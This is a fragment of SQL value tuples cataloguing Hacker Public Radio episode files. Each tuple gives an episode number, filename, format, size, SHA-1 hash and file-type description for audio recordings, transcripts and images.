(3856,'hpr3856.srt','srt',50318,'06fb08fc28c46a690ac7b879ff736a25d67db91b','text/plain; charset=us-ascii','setgid , ASCII text'),
(3875,'hpr3875.json','json',33704,'9092211ee267e80f4a0f738851ee84fe2315ad99','application/json; charset=us-ascii','setgid JSON data'),
(3875,'hpr3875.txt','txt',4515,'4c9f9ff8fa0ba11669e6d849bdaf5694107be8bd','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3875,'hpr3875.srt','srt',7226,'1ae505cbce1fbd16335307a81f562d876c97cc73','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3875,'hpr3875.vtt','vtt',6523,'b20383bd20e917001964046bc984e48d6ddd185f','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3875,'hpr3875.tsv','tsv',5614,'bc8e929f6cbf80f91b893198527027d26b9f0774','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3878,'hpr3878.opus','opus',5920164,'341bf0810607ef9e7f239206ce637066effadeb3','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3883,'hpr3883.json','json',30491,'99d8747e2e4be5de1450dabcd0ec348029d983b7','application/json; charset=us-ascii','setgid JSON data'),
(3883,'hpr3883.vtt','vtt',7203,'6efa54ca87f406b352b4900b2b3fa4477e67d69e','text/plain; charset=us-ascii','setgid , ASCII text, with very long lines'),
(3883,'hpr3883.txt','txt',5920,'99f38dce096ce5febde502a8c554ba6b7a0a08f4','text/plain; charset=us-ascii','setgid , ASCII text, with very long lines'),
(3883,'hpr3883.srt','srt',7645,'31b1aad49f0cf75ec01b46f7e9b2688af995f2c8','text/plain; charset=us-ascii','setgid , ASCII text, with very long lines'),
(3883,'hpr3883.tsv','tsv',6618,'a1b4d44d1294503e467b5259b3f8bab7859733b3','text/plain; charset=us-ascii','setgid , ASCII text, with very long lines'),
(3858,'hpr3858.json','json',88546,'e1ed6193efa239c1301011a04df1dae851e5871d','application/json; charset=us-ascii','setgid JSON data'),
(3858,'hpr3858.tsv','tsv',16289,'d47ed103e2eecc7f2dbfe6aed2abc140f4656c17','text/plain; charset=us-ascii','setgid , ASCII text'),
(3858,'hpr3858.srt','srt',20159,'1a3774f361f82310b065517d929f14fece87c5e8','text/plain; charset=us-ascii','setgid , ASCII text'),
(3858,'hpr3858.txt','txt',13687,'68c2bec6f3ae9208a594afc2cc5cdadf25e531f6','text/plain; charset=us-ascii','setgid , ASCII text'),
(3858,'hpr3858.vtt','vtt',18395,'180638722d4234679ce8a242da11d4b6d4e474ec','text/plain; charset=us-ascii','setgid , ASCII text'),
(3855,'hpr3855.txt','txt',7930,'eb94634c85b99daef5301328f608f71a66022833','text/plain; charset=us-ascii','setgid , ASCII text'),
(3855,'hpr3855.srt','srt',11847,'c3681bf7194eefef3b988e86cb017d95a9617477','text/plain; charset=us-ascii','setgid , ASCII text'),
(3855,'hpr3855.tsv','tsv',9520,'81e8fa808ad8ccea1bad87977cbf59a7a5af9afc','text/plain; charset=us-ascii','setgid , ASCII text'),
(3855,'hpr3855.vtt','vtt',10813,'e9c22d9a67fddc5f1281eeed19a66fa811c39b51','text/plain; charset=us-ascii','setgid , ASCII text'),
(3855,'hpr3855.json','json',52756,'029640a7a715d782240772a808b15a4fbd2e7cd7','application/json; charset=us-ascii','setgid JSON data'),
(3869,'hpr3869.wav','wav',351959636,'4d796be2a8a61383eb36d945b5bf164a4e601800','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3846,'hpr3846.tsv','tsv',62589,'ae958701001507eca711cc7a254a4cce28d69704','text/plain; charset=us-ascii','setgid , ASCII text'),
(3846,'hpr3846.vtt','vtt',68310,'0bd01c08f4842898e54c13c6d13df69878d2d8fa','text/plain; charset=us-ascii','setgid , ASCII text'),
(3846,'hpr3846.srt','srt',73649,'2cac771d10d146a144665925472a99c91006df52','text/plain; charset=us-ascii','setgid , ASCII text'),
(3846,'hpr3846.json','json',306946,'af1f32a5d4c4f64996ee9516b97ab0b7c2b6008a','application/json; charset=us-ascii','setgid JSON data'),
(3846,'hpr3846.txt','txt',53772,'d07332b9004fd53c786cb459291b6ecfb28ac9c1','text/plain; charset=us-ascii','setgid , ASCII text'),
(3872,'hpr3872.vtt','vtt',35334,'315b7aa788ac6960fe3fd35f0e83de19eb3c85a4','text/plain; charset=us-ascii','setgid , ASCII text'),
(3872,'hpr3872.tsv','tsv',32226,'45d94badf82926207b496ffac312adde2e9c20b6','text/plain; charset=us-ascii','setgid , ASCII text'),
(3872,'hpr3872.json','json',159323,'5cf55415d44ba5e92ad55825d2be6d1552acefb6','application/json; charset=us-ascii','setgid JSON data'),
(3872,'hpr3872.srt','srt',38248,'cb7dfe2030b98411050c0432bf45f7a716a33d6b','text/plain; charset=us-ascii','setgid , ASCII text'),
(3872,'hpr3872.txt','txt',27751,'6ada683eacbb9c29e44c6cc573a079882488f67f','text/plain; charset=us-ascii','setgid , ASCII text'),
(3901,'hpr3901.srt','srt',28255,'403109d3b8155b3304b96295dd9fe9208e426957','text/plain; charset=us-ascii','setgid , ASCII text'),
(3901,'hpr3901.json','json',120167,'40bc26b9c943c0d1a61a6a7bf381c6a969c0f2bf','application/json; charset=us-ascii','setgid JSON data'),
(3901,'hpr3901.vtt','vtt',26141,'e17194a36b808d2f668b0232fd6eef46fc4ee463','text/plain; charset=us-ascii','setgid , ASCII text'),
(3901,'hpr3901.txt','txt',20558,'b34a941f0140a154aa4dfbf13c8563df1ac7fe51','text/plain; charset=us-ascii','setgid , ASCII text'),
(3901,'hpr3901.tsv','tsv',23755,'df6c97d91546568bdc96578e84b678d6bddd6141','text/plain; charset=us-ascii','setgid , ASCII text'),
(3941,'hpr3941.wav','wav',1399236820,'69dad3b435159905f807ec0822df5a84f539bc7f','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3889,'hpr3889.ogg','ogg',2356786,'a362aa985bceca088c5dbe2234633f6821289211','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3861,'hpr3861.vtt','vtt',11987,'68996e04f74b68882015a710893286c00c6c339b','text/plain; charset=us-ascii','setgid , ASCII text'),
(3861,'hpr3861.srt','srt',13401,'6eb562eba317ada1699f3adb72fd1359b26f2d55','text/plain; charset=us-ascii','setgid , ASCII text'),
(3861,'hpr3861.tsv','tsv',10272,'d4a675652101f35917fc9bd8fc97d411e0eaacfd','text/plain; charset=us-ascii','setgid , ASCII text'),
(3861,'hpr3861.json','json',62308,'c10397f0fedf6cc810b0636d3260cb0ee006f9df','application/json; charset=us-ascii','setgid JSON data'),
(3861,'hpr3861.txt','txt',8154,'bafcbdafaba933afc49be182e21f3b41875ec916','text/plain; charset=us-ascii','setgid , ASCII text'),
(3857,'hpr3857.tsv','tsv',12175,'1c7f6c1db41c6752e12022f5cee7cdb4626cd8d9','text/plain; charset=us-ascii','setgid , ASCII text'),
(3857,'hpr3857.json','json',66298,'c0fc7f4a581a943d454b47cedf06dcacd807890f','application/json; charset=us-ascii','setgid JSON data'),
(3857,'goes_190123.png','png',1273093,'a9104da3e2d597448479605c1b2e8052db7a9ac6','image/png; charset=binary','PNG image data, 2197 x 1623, 8-bit/color RGBA, non-interlaced'),
(3857,'20230120_111458_1_thumbnail.jpg','jpg',37713,'7fe6c0e48da372a0894faa90d73d5b12a460ec15','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 796x800, components 3'),
(3857,'hpr3857.srt','srt',14966,'642c1df0318ceb457492b29eced02355e9cc3169','text/plain; charset=us-ascii','setgid , ASCII text'),
(3857,'hpr3857.txt','txt',10279,'31ee9642ed80be6de240eb175be85d03653c9c96','text/plain; charset=us-ascii','setgid , ASCII text'),
(3857,'hpr3857.vtt','vtt',13712,'d4526b0ec46820312a7ee7ee65b93edd2fb793d8','text/plain; charset=us-ascii','setgid , ASCII text'),
(3857,'goes_190123_thumbnail.png','png',241990,'6a849fd33663ee6b6a1285b95ef39d75ea4bbe4e','image/png; charset=binary','PNG image data, 800 x 591, 8-bit/color RGBA, non-interlaced'),
(3857,'20230120_111458_1.jpg','jpg',107137,'af85d063f72ce018c380614088a1df63e2229ccf','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 1489x1496, components 3'),
(3852,'hpr3852.txt','txt',9426,'8c022dfcc03f8ac9c8bee98345e1f70093a9050c','text/plain; charset=us-ascii','setgid , ASCII text'),
(3852,'hpr3852.srt','srt',13413,'86b3ccd998f58d8d8c015fd5fb627ee296ba2d26','text/plain; charset=us-ascii','setgid , ASCII text'),
(3852,'hpr3852.tsv','tsv',11038,'d2011a73a8d6998750e2eb933ea427983b90ea86','text/plain; charset=us-ascii','setgid , ASCII text'),
(3852,'hpr3852.vtt','vtt',12359,'e32583bd40a878bf4c55e643da4d69cb64cf8ea2','text/plain; charset=us-ascii','setgid , ASCII text'),
(3852,'hpr3852.json','json',57305,'4e78e575980920c70cbedb7d3656d4a4da2344a6','application/json; charset=us-ascii','setgid JSON data'),
(3885,'hpr3885_source.wav','wav',645240008,'f088411f63d353f3a0395f5447abb9706d7ec247','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz'),
(3887,'hpr3887_source.flac','flac',127849758,'823aee792dad3fc6c20a27a058542640ef0856ac','audio/flac; charset=binary','setgid FLAC audio bitstream data, 24 bit, mono, 44.1 kHz, 66113825 samples'),
(3849,'hpr3849.srt','srt',12793,'dfc1e7606f6b3a0d83d4e16797cad11319dde6f3','text/plain; charset=us-ascii','setgid , ASCII text'),
(3849,'03.cmos_thumbnail.cmos.jpg','jpg',52952,'a541b4cea0c42676335e3ca790577e484c42bb1b','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 600x800, components 3'),
(3849,'hpr3849.vtt','vtt',11799,'010072d61a26cf9c7dc28a8011ac06ed6451c2df','text/plain; charset=us-ascii','setgid , ASCII text'),
(3849,'04.ram_thumbnail.ram.jpg','jpg',65809,'275a91ddfd65bb13b77ea1f3eed50a7020ffa363','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 600x800, components 3'),
(3849,'03.cmos.jpg','jpg',789249,'3880c8a77e275fb0eab1826877ba819f6433e451','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 3024x4032, components 3'),
(3849,'04.ram.jpg','jpg',945252,'e8d631d98f5d1e0135e0104f3d0d18a1843b200a','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 3024x4032, components 3'),
(3849,'02.bios_message_thumbnail.bios_message.jpg','jpg',57979,'dc66fe21267a65d02aa1f1b90d1e2f81c13b1b82','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 800x600, components 3'),
(3849,'06.the_culprit.jpg','jpg',1095486,'3f54491d1d90247687add7faab2c5773b1af9d73','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 3024x4032, components 3'),
(3849,'05.mother_board_side.jpg','jpg',986621,'09ec7229cdaf1530c2078106be46ff1b85a46c91','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 3024x4032, components 3'),
(3849,'hpr3849.json','json',55365,'f4c69f5fd5ce9226c2b9344f3cca4fdd3c78fbe3','application/json; charset=us-ascii','setgid JSON data'),
(3849,'01.kernel_message_thumbnail.kernel_message.jpg','jpg',116765,'1dbd3d1f9f4f560a0e703ffca1a8a959577f4809','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 800x600, components 3'),
(3849,'01.kernel_message.jpg','jpg',1267658,'0c7735276b8acba798c75412dc389502fa989b60','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 4032x3024, components 3'),
(3849,'02.bios_message.jpg','jpg',1566925,'ff6baa2987d517677d413b5122666def214f970e','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 4032x3024, components 3'),
(3849,'05.mother_board_side_thumbnail.mother_board_side.jpg','jpg',69501,'3981452feed22150022bc03d2e66465f76e8b7f9','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 600x800, components 3'),
(3849,'hpr3849.tsv','tsv',10552,'36a7ebb067604eebe6f874e71a128f65f46dce2e','text/plain; charset=us-ascii','setgid , ASCII text'),
(3849,'06.the_culprit_thumbnail.the_culprit.jpg','jpg',78405,'5aa5d7417e6a9781f7b8efc10f5a9d961907a2d0','image/jpeg; charset=binary','JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 600x800, components 3'),
(3849,'hpr3849.txt','txt',9016,'83ea0fce1fc04fcf1a080b9a4aaac0cfd585dc57','text/plain; charset=us-ascii','setgid , ASCII text'),
(3882,'hpr3882_source.flac','flac',52460543,'47f52e25a6572680eb5a4406712759866eee268b','audio/flac; charset=binary','setgid FLAC audio bitstream data, 24 bit, mono, 44.1 kHz, 27894928 samples'),
(3859,'hpr3859.vtt','vtt',29604,'1437c20467c120a847900b7ebf7000a60ab209c6','text/plain; charset=us-ascii','setgid , ASCII text'),
(3859,'hpr3859.tsv','tsv',24503,'a9d176cd95faa57b14c846f79c29385d16adc578','text/plain; charset=us-ascii','setgid , ASCII text'),
(3859,'hpr3859.json','json',176782,'f5d80106b7ccd65b64a1c74c40f2876918b3be56','application/json; charset=us-ascii','setgid JSON data'),
(3859,'hpr3859.txt','txt',16896,'c59a4521a77675b6ad3712e3b3688ed3d266ed3a','text/plain; charset=us-ascii','setgid , ASCII text'),
(3859,'hpr3859.srt','srt',34568,'316ff68af7cd225eb7ac557f14585c82c13b12bd','text/plain; charset=us-ascii','setgid , ASCII text'),
(3881,'hpr3881.wav','wav',484746294,'89a56d187d3928220a1b5068ce7e2f7926852e6c','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3866,'hpr3866.json','json',41497,'6ab845c432c81d60021ba8796f79881afd0cd77e','text/plain; charset=us-ascii','setgid , ASCII text, with very long lines, with no line terminators'),
(3866,'hpr3866.txt','txt',5780,'565a174b2be2892a481fa05b9916ba18cb707fd5','text/plain; charset=us-ascii','setgid , ASCII text'),
(3866,'hpr3866.srt','srt',9069,'feebc241ccdcbe9e477fd2460613df1500020cda','text/plain; charset=us-ascii','setgid , ASCII text'),
(3866,'hpr3866.tsv','tsv',7110,'a14336a5cc09585a71b8da7f26b065253c5006b4','text/plain; charset=us-ascii','setgid , ASCII text'),
(3866,'hpr3866.vtt','vtt',8213,'d757a46a59acbeef0adb4baf259360a2caa3f552','text/plain; charset=us-ascii','setgid , ASCII text'),
(3941,'hpr3941.mp3','mp3',29152596,'80ac456e0e9b41317e1c64c6ee213ad3ec5a7005','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3885,'hpr3885.flac','flac',528396847,'7188a4f129b16f9e4a13b7904cf7282ca665c6bd','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 1420271095 samples'),
(3873,'hpr3873.wav','wav',90042974,'50346fec7bbc5293e36f14dd91b700e5378eb766','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3871,'hpr3871_source.wav','wav',540713892,'f02f9ba45ed88bba33f438387701abc7418e560d','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 48000 Hz'),
(3879,'hpr3879_source.flac','flac',236886880,'b581a61304d68eec12168a6354a0dfdb8b879178','audio/flac; charset=binary','setgid FLAC audio bitstream data, 24 bit, mono, 44.1 kHz, 121165584 samples'),
(3938,'hpr3938.mp3','mp3',3010596,'6f5f4440591912f0705be20ad3669cf6dddb0ed4','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3938,'index.html','html',0,'da39a3ee5e6b4b0d3255bfef95601890afd80709','inode/x-empty; charset=binary','setgid, empty'),
(3938,'hpr3938.vtt','vtt',7901,'ce04131d8c6e0eb9510193b323022e786ef9d8af','text/plain; charset=us-ascii','setgid , ASCII text'),
(3938,'hpr3938.srt','srt',9315,'fad0acc2b1e3d07eaf7b7aa8f9fc65e283a58128','text/plain; charset=us-ascii','setgid , ASCII text'),
(3938,'hpr3938.opus','opus',3427918,'c2ca9e887c11f4303a51dae651a8b1ef0d31bb74','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3938,'hpr3938.spx','spx',1421011,'997d81473f9d7775b7ed86902edba5b7f11992d9','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3938,'hpr3938.flac','flac',26126594,'abe107f2ed63be4bff0c947396d6734b3f4751c4','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 72211353 samples'),
(3938,'hpr3938.wav','wav',144424046,'ea52b1d8a865fa71cc3f6613936e0fd37a4198c8','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3938,'hpr3938.ogg','ogg',3427726,'5b3ca68886b44baeb3fa0acab91aff5739506b80','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3938,'full_shownotes.html','html',0,'da39a3ee5e6b4b0d3255bfef95601890afd80709','inode/x-empty; charset=binary','setgid, empty'),
(3938,'hpr3938.tsv','tsv',6176,'c9db1cf294c86f4cbbc0eebe6febfa6c27b7cc68','text/plain; charset=us-ascii','setgid , ASCII text'),
(3938,'hpr3938.txt','txt',4068,'e69c9e546ea8e998a99e4a4a3336c7ef9bcb058b','text/plain; charset=us-ascii','setgid , ASCII text'),
(3938,'hpr3938.json','json',49010,'f7366693280aa0e21b84d5ef2bccd77ec1ac3eaf','application/json; charset=us-ascii','setgid JSON data'),
(3938,'image.jpg','jpg',0,'da39a3ee5e6b4b0d3255bfef95601890afd80709','inode/x-empty; charset=binary','setgid, empty'),
(3869,'hpr3869.json','json',72139,'7fce3decc9f1ecabb5da187a2177ca1549725b97','application/json; charset=us-ascii','setgid JSON data'),
(3869,'hpr3869.srt','srt',16913,'178a8afd3736e9632d93d49eaef690d028f8006d','text/plain; charset=us-ascii','setgid , ASCII text'),
(3869,'hpr3869.tsv','tsv',14139,'557785f4ef818e84070dc2350ecfe4c0957c4c9c','text/plain; charset=us-ascii','setgid , ASCII text'),
(3869,'hpr3869.txt','txt',12261,'4740535f40a55f2151777917fc679a50cb526a20','text/plain; charset=us-ascii','setgid , ASCII text'),
(3869,'hpr3869.vtt','vtt',15669,'ee3e52a3abf4a60e5dce6c69602d0f03a8906f1c','text/plain; charset=us-ascii','setgid , ASCII text'),
(3886,'hpr3886.flac','flac',81492810,'05e427b9b077b9f9592a63e238f2335ce6cb3c9a','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 254071393 samples'),
(3871,'hpr3871.flac','flac',407817126,'c2a59ada81aeded49d454e50e9c010bf50c90a7c','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 1097232845 samples'),
(3941,'hpr3941.flac','flac',210734201,'be4acf9310ff0c283ef5aa47476ac257d4426c65','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 699617716 samples'),
(3901,'hpr3901.spx','spx',4980991,'b91545001df1265856abd00198efc47d0dc9720e','audio/ogg; charset=binary','setgid Ogg data, Speex audio'),
(3889,'hpr3889.opus','opus',2357076,'2772cfbd03a77a5cdd50db5f53d369f72ca61860','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3871,'hpr3871.wav','wav',2194467156,'d5af8c2b115f5f609457c5b38339a844ddff4235','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3888,'hpr3888.mp3','mp3',5353659,'099538cdc2e5368f178271f2552b73048bc6fe85','audio/mpeg; charset=binary','setgid Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3863,'hpr3863.vtt','vtt',10962,'5a0f860f5f514e7c207be9342a2bd0569a99288f','text/plain; charset=us-ascii','setgid , ASCII text'),
(3863,'hpr3863.json','json',52201,'7fb253c28e12eda0ba9399cab2753d1ca9a7c69a','application/json; charset=us-ascii','setgid JSON data'),
(3863,'hpr3863.tsv','tsv',9671,'74ca7aca2312c33664068f2fdcffbd68758ce264','text/plain; charset=us-ascii','setgid , ASCII text'),
(3863,'hpr3863.srt','srt',11996,'27b9ba496dcd85a58e641441b1539a8f469a2e1a','text/plain; charset=us-ascii','setgid , ASCII text'),
(3863,'hpr3863.txt','txt',8079,'c8d946430175dda903582b7e1bf841c4e9a02e39','text/plain; charset=us-ascii','setgid , ASCII text'),
(3871,'hpr3871.opus','opus',49113262,'f8d8e502aa9ec41c1b62a02201322a2edca8bf81','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3881,'hpr3881_source.ogg','ogg',11814215,'e901e22f7c4e90e567be5e6c0bd08391de248de8','audio/ogg; charset=binary','setgid Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I (1.3.3)'),
(3873,'hpr3873.flac','flac',15469201,'854594e75f9afa6aec149b59d30daaa69d11f599','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 45020787 samples'),
(3872,'hpr3872_source.flac','flac',146715696,'7d1f2ed496b4c3265633c6c9dfb8dba0b0db97d3','audio/flac; charset=binary','setgid FLAC audio bitstream data, 24 bit, mono, 44.1 kHz, 76301392 samples'),
(3873,'hpr3873.txt','txt',3002,'188bd4d8f918a3cabab8f74f428e38226bf0c68b','text/plain; charset=us-ascii','setgid , ASCII text'),
(3873,'hpr3873.srt','srt',4455,'ea407de798d706c5c358c06a9212e6aabf3924d8','text/plain; charset=us-ascii','setgid , ASCII text'),
(3873,'hpr3873.tsv','tsv',3580,'517d292328ed0228ba6b6c0a5e6b2a8c0fcea1c9','text/plain; charset=us-ascii','setgid , ASCII text'),
(3873,'hpr3873.json','json',19580,'aa5e243c55a4eb894e78b1384002061b9d8ca4d6','application/json; charset=us-ascii','setgid JSON data'),
(3873,'hpr3873.vtt','vtt',4085,'0cd95110982695822663cc538181f0273bf1d281','text/plain; charset=us-ascii','setgid , ASCII text'),
(3879,'hpr3879.txt','txt',43665,'72fc4042f1dbfa39963e7b7c6b0bbe39a4c9c37e','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3879,'hpr3879.tsv','tsv',66178,'97557fb28f70f082b8040722c7999164cd35e69f','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3879,'hpr3879.srt','srt',95298,'84da8eaee1316a36e9b4d4cb415b61ef4d5b19a2','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3879,'hpr3879.json','json',485846,'b1ba2cc71d9841ed5aeab80462bfce082830f7f3','text/plain; charset=us-ascii','setgid , ASCII text, with very long lines, with no line terminators'),
(3879,'hpr3879.vtt','vtt',80298,'57e372fbc21d3fbb72293695d9e59aaf5719b150','text/plain; charset=utf-8','setgid , UTF-8 Unicode text'),
(3878,'hpr3878_source.mp3','mp3',8215463,'3fd73d19c3c972af9476f93a0da05f2c8dd54cf4','audio/mpeg; charset=binary','setgid MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(3886,'hpr3886.srt','srt',27602,'411f7c9271b9f413097e0f62aa29c8780ee5b9c0','text/plain; charset=us-ascii','setgid , ASCII text'),
(3886,'hpr3886.json','json',119999,'74f2f29c7e0425a6f5c3ffa15e8428486d4af57b','application/json; charset=us-ascii','setgid JSON data'),
(3886,'hpr3886.txt','txt',19205,'9b2b259353b91d336a084287cedb9fb5a0a4fc08','text/plain; charset=us-ascii','setgid , ASCII text'),
(3886,'hpr3886.tsv','tsv',22688,'9e21670580d882a4edc048e70e64cbbc98d0fc58','text/plain; charset=us-ascii','setgid , ASCII text'),
(3886,'hpr3886.vtt','vtt',25288,'fe5cb4c5196c1deb4a2b444b8d05df7f34d4b13f','text/plain; charset=us-ascii','setgid , ASCII text'),
(3879,'hpr3879.wav','wav',1085972660,'137185309c76835478142ef23202ad031d4e4861','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3886,'hpr3886.opus','opus',11784001,'58f4b65931d0002581ec7ac8492cbf2d6295dbe9','audio/ogg; charset=binary','setgid Ogg data, Opus audio,'),
(3878,'hpr3878.txt','txt',7214,'539afca30eafe7841c936c33be821e9d7b6d1273','text/plain; charset=us-ascii','setgid , ASCII text'),
(3878,'hpr3878.tsv','tsv',8986,'c857d7bf687aac401af53a3564ebc45a03a0c7ec','text/plain; charset=us-ascii','setgid , ASCII text'),
(3878,'hpr3878.vtt','vtt',10422,'de2f1e6f7e3479eb8559177ff63cfcaef8a9c0bc','text/plain; charset=us-ascii','setgid , ASCII text'),
(3878,'hpr3878.json','json',53224,'2a8d873fa9f021aaa0961248ac0e41f253629db9','application/json; charset=us-ascii','setgid JSON data'),
(3878,'hpr3878.srt','srt',11586,'4f5e139e5eaa585977a7fe0851237fa4efa37c6e','text/plain; charset=us-ascii','setgid , ASCII text'),
(3889,'hpr3889.txt','txt',3387,'b3919d1b6794971d63b955d90d405e940355eb5c','text/plain; charset=us-ascii','setgid , ASCII text'),
(3889,'hpr3889.srt','srt',5146,'dffaebbcfe2854e3852ca75421184ddb6efdce32','text/plain; charset=us-ascii','setgid , ASCII text'),
(3889,'hpr3889.vtt','vtt',4695,'d247bb8ca95a206ddd6c3d6d42b7eec78be3a6dc','text/plain; charset=us-ascii','setgid , ASCII text'),
(3889,'hpr3889.json','json',23134,'3aec66c9c18461991631a1c595a40b4a8581133a','application/json; charset=us-ascii','setgid JSON data'),
(3889,'hpr3889.tsv','tsv',4095,'ed0bb9b8a0fc0312372f226f8047cfed30c11699','text/plain; charset=us-ascii','setgid , ASCII text'),
(3941,'hpr3941.txt','txt',59325,'b1d6965dec4edc06ee1cc6aef5fae256fa7870a9','text/plain; charset=us-ascii','setgid , ASCII text'),
(3941,'hpr3941.json','json',350132,'8981a07ec4d7c80d60c5535854a4112d428da64e','application/json; charset=us-ascii','setgid JSON data'),
(3941,'hpr3941.srt','srt',81827,'aa22bfdfbb0c23f1109179d18304460cd0a487c9','text/plain; charset=us-ascii','setgid , ASCII text'),
(3941,'hpr3941.vtt','vtt',75513,'a68b5439a4b8fafc679b3a536449f48a1548f9a5','text/plain; charset=us-ascii','setgid , ASCII text'),
(3941,'hpr3941.tsv','tsv',69284,'5a55fca91c93f238c42b5cb6b0db1df5e7fd5d5b','text/plain; charset=us-ascii','setgid , ASCII text'),
(3894,'hpr3894.txt','txt',29774,'e37b8945c50a71731dc4f21bcea3f3d33495a525','text/plain; charset=us-ascii','setgid , ASCII text'),
(3894,'hpr3894.vtt','vtt',38082,'22734483736bb24745b96749cf1c68bb737dd5b6','text/plain; charset=us-ascii','setgid , ASCII text'),
(3894,'hpr3894.json','json',177306,'c7164db5510d4206c18014da5ef38f9d74661f3d','application/json; charset=us-ascii','setgid JSON data'),
(3894,'hpr3894.srt','srt',41286,'b398ba64a0778cc09245879985d0be7eaa9e87bd','text/plain; charset=us-ascii','setgid , ASCII text'),
(3894,'hpr3894.tsv','tsv',34765,'b8e1b080578f1cb42e45b082f2ca3e2ba0e1326d','text/plain; charset=us-ascii','setgid , ASCII text'),
(3901,'hpr3901.flac','flac',94533294,'6acaf672f48439e5d80aceb944a77498d5b992fd','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 253181697 samples'),
(3879,'hpr3879.flac','flac',242073999,'3bb6ce1f8994e9835f25231b113d4627f28177c1','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 542985631 samples'),
(3881,'hpr3881.flac','flac',76720027,'a5e9e8d79e26ecbee94561f2a488ee9373c42c36','audio/flac; charset=binary','setgid FLAC audio bitstream data, 16 bit, mono, 192 kHz, 242372454 samples'),
(3901,'hpr3901.wav','wav',506364754,'d0183cf6e87ae0e9b17188033d642919ebdbe0a4','audio/x-wav; charset=binary','setgid RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3877,'hpr3877.srt','srt',49317,'2ee8078d394559a67f5d0f7c0ed270043a4e9537','text/plain; charset=us-ascii','setgid , ASCII text'),
(3877,'hpr3877.txt','txt',35565,'7d429e8d376e3fa84f72848396ae4e6932143b25','text/plain; charset=us-ascii','setgid , ASCII text'),
(3877,'hpr3877.json','json',209290,'89b20aa056ff0eedbc00d40685670790b4e14f7b','application/json; charset=us-ascii','setgid JSON data'),
(3877,'hpr3877.tsv','tsv',41552,'a28216e62ccf32fc72de1aaed2f34be11602d41e','text/plain; charset=us-ascii','setgid , ASCII text'),
(3877,'hpr3877.vtt','vtt',45473,'3b0a13638ebc88880428f2488539e0210616b4b7','text/plain; charset=us-ascii','setgid , ASCII text'),
